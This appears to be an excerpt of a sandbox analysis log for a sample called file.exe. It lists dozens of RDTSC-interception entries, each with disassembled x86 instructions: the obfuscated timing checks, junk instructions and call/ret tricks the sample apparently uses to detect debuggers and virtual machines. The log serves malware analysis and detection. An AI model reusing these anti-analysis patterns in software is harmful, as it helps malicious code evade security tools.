Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127775A second address: 127775E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A542 second address: 127A546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A546 second address: 127A550 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FECC5126356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A550 second address: 127A55A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FECC5476B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127775E second address: 12777EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5126367h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007FECC5126358h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 or dword ptr [ebp+122D1E60h], edi 0x0000002d push dword ptr fs:[00000000h] 0x00000034 jmp 00007FECC512635Bh 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 mov ebx, dword ptr [ebp+122D2A48h] 0x00000046 add dword ptr [ebp+122D1B57h], ebx 0x0000004c mov eax, dword ptr [ebp+122D060Dh] 0x00000052 mov ebx, dword ptr [ebp+122D32A7h] 0x00000058 push FFFFFFFFh 0x0000005a nop 0x0000005b js 00007FECC5126362h 0x00000061 jbe 00007FECC512635Ch 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12777EA second address: 12777F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jc 00007FECC5476B34h 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C609 second address: 127C60F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127C60F second address: 127C615 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12746B9 second address: 12746BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127CC24 second address: 127CC3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECC5476B34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12746BD second address: 12746C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127CC3C second address: 127CCAC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FECC5476B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e jmp 00007FECC5476B35h 0x00000013 pop ebx 0x00000014 nop 0x00000015 mov dword ptr [ebp+1247CC0Eh], esi 0x0000001b movsx edi, di 0x0000001e push 00000000h 0x00000020 or dword ptr [ebp+122D1B3Ch], edi 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push edx 0x0000002b call 00007FECC5476B28h 0x00000030 pop edx 0x00000031 mov dword ptr [esp+04h], edx 0x00000035 add dword ptr [esp+04h], 00000016h 0x0000003d inc edx 0x0000003e push edx 0x0000003f ret 0x00000040 pop edx 0x00000041 ret 0x00000042 xor bx, 584Ch 0x00000047 xchg eax, esi 0x00000048 jno 00007FECC5476B2Eh 0x0000004e push eax 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12746C3 second address: 12747A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5126365h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007FECC5126358h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 jmp 00007FECC5126366h 0x0000002b push dword ptr fs:[00000000h] 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007FECC5126358h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 0000001Ch 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c js 00007FECC5126364h 0x00000052 jmp 00007FECC512635Eh 0x00000057 mov dword ptr fs:[00000000h], esp 0x0000005e jmp 00007FECC5126367h 0x00000063 mov eax, dword ptr [ebp+122D1711h] 0x00000069 je 00007FECC5126366h 0x0000006f jmp 00007FECC5126360h 0x00000074 push FFFFFFFFh 0x00000076 or dword ptr [ebp+122D17F3h], esi 0x0000007c push eax 0x0000007d push eax 0x0000007e push edx 0x0000007f jg 00007FECC512635Ch 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1281127 second address: 128112D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128112D second address: 1281141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FECC512635Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1281141 second address: 1281146 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1281146 second address: 128114C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1283D0B second address: 1283D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1289F05 second address: 1289F0D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1289787 second address: 1289793 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jc 00007FECC5476B26h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12898E8 second address: 12898FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FECC5126361h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12898FE second address: 1289915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FECC5476B26h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007FECC5476B28h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1289915 second address: 128991B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1289A87 second address: 1289AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FECC5476B2Bh 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FECC5476B2Fh 0x00000017 popad 0x00000018 push ecx 0x00000019 jmp 00007FECC5476B2Fh 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128E86C second address: 128E871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128E871 second address: 128E89A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 jmp 00007FECC5476B2Bh 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128E89A second address: 128E89E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293B15 second address: 1293B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293B19 second address: 1293B2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FECC512635Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293B2A second address: 1293B30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293B30 second address: 1293B43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC512635Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1292853 second address: 1292859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1292DFF second address: 1292E13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC512635Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12930BF second address: 12930DA instructions: 0x00000000 rdtsc 0x00000002 jne 00007FECC5476B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jp 00007FECC5476B26h 0x00000011 je 00007FECC5476B26h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12934C3 second address: 12934CF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12934CF second address: 12934D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293796 second address: 12937C2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FECC5126356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007FECC5126372h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293915 second address: 1293931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293931 second address: 129394E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FECC5126368h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129CC96 second address: 129CCA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B9ED second address: 129B9FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jbe 00007FECC512635Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B9FA second address: 129BA05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129BCD2 second address: 129BCDC instructions: 0x00000000 rdtsc 0x00000002 js 00007FECC5126356h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129BCDC second address: 129BCE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129BFA8 second address: 129BFCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007FECC512635Ah 0x0000000b popad 0x0000000c push edx 0x0000000d jmp 00007FECC512635Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129BFCC second address: 129BFD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129B707 second address: 129B70B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C3CC second address: 129C3D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C3D2 second address: 129C3FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC512635Dh 0x00000009 popad 0x0000000a jmp 00007FECC5126368h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C54D second address: 129C560 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C560 second address: 129C56B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FECC5126356h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C56B second address: 129C570 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C570 second address: 129C578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C578 second address: 129C57E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129C6CA second address: 129C6E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jnl 00007FECC5126356h 0x00000012 ja 00007FECC5126356h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121E9E7 second address: 121E9F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push edi 0x00000006 pop edi 0x00000007 pop edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A1B7E second address: 12A1B96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC512635Ch 0x00000007 jc 00007FECC512635Eh 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A7342 second address: 12A734C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A5DC1 second address: 12A5DD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECC5126361h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A5DD6 second address: 12A5DE3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FECC5476B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A5DE3 second address: 12A5DE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6052 second address: 12A6075 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FECC5476B37h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6075 second address: 12A6079 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6079 second address: 12A607F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A607F second address: 12A6091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FECC5126358h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6091 second address: 12A6095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6095 second address: 12A60C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC512635Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jl 00007FECC512637Ah 0x00000010 jl 00007FECC5126362h 0x00000016 js 00007FECC5126356h 0x0000001c jbe 00007FECC5126356h 0x00000022 push eax 0x00000023 push edx 0x00000024 push ecx 0x00000025 pop ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A60C3 second address: 12A60C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A61FD second address: 12A6214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FECC5126356h 0x0000000a popad 0x0000000b pop edx 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007FECC5126356h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6214 second address: 12A6235 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FECC5476B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FECC5476B2Fh 0x00000011 jc 00007FECC5476B26h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6235 second address: 12A6239 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A637B second address: 12A6381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6381 second address: 12A6385 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6529 second address: 12A652F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6A78 second address: 12A6AB1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FECC5126356h 0x00000008 js 00007FECC5126356h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 ja 00007FECC5126356h 0x00000019 jmp 00007FECC5126367h 0x0000001e popad 0x0000001f jnl 00007FECC5126358h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6AB1 second address: 12A6AB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6C1D second address: 12A6C21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6C21 second address: 12A6C2B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FECC5476B26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6C2B second address: 12A6C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007FECC5126356h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A71D9 second address: 12A71EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECC5476B2Ch 0x00000009 jo 00007FECC5476B26h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1260C62 second address: 1260C68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1260C68 second address: 124B51A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FECC5476B2Ch 0x00000008 jbe 00007FECC5476B26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 jnp 00007FECC5476B33h 0x0000001e popad 0x0000001f nop 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007FECC5476B28h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 0000001Ah 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a mov cx, 5682h 0x0000003e sbb ecx, 49DFE7DBh 0x00000044 call dword ptr [ebp+122D27D1h] 0x0000004a jc 00007FECC5476B4Ah 0x00000050 jmp 00007FECC5476B30h 0x00000055 jmp 00007FECC5476B34h 0x0000005a pushad 0x0000005b jp 00007FECC5476B28h 0x00000061 push esi 0x00000062 pop esi 0x00000063 jno 00007FECC5476B35h 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261181 second address: 126118B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FECC5126356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12612F0 second address: 12612F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12612F4 second address: 1261312 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5126360h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261312 second address: 1261316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12614C8 second address: 126151F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 jnl 00007FECC5126362h 0x0000000c xchg eax, esi 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FECC5126358h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 or dword ptr [ebp+122D2403h], ecx 0x0000002d nop 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FECC5126360h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1261B8D second address: 1261B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AAF81 second address: 12AAFAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5126368h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jo 00007FECC5126356h 0x00000013 pop eax 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
